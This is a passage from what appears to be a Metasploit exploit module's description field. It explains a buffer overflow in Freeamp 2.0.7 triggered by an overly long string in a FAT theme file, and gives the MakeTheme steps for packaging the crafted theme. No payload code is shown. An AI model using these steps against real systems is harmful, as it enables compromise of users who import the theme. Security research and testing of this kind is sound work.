  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability
  					found in Freeamp 2.0.7. The overflow occurs when an
  					overly long string is parsed in the FAT file. This
  					module creates a txt file that has to be used in the
  					creation of a FAT file. The FAT file then has to be
  					imported as a theme. To create the FAT file you need
  					to first decompress the basic theme template,
  					MakeTheme -d freeamp.fat. Next create the new FAT file
  					MakeTheme crash.fat theme.xml title.txt *.bmp.
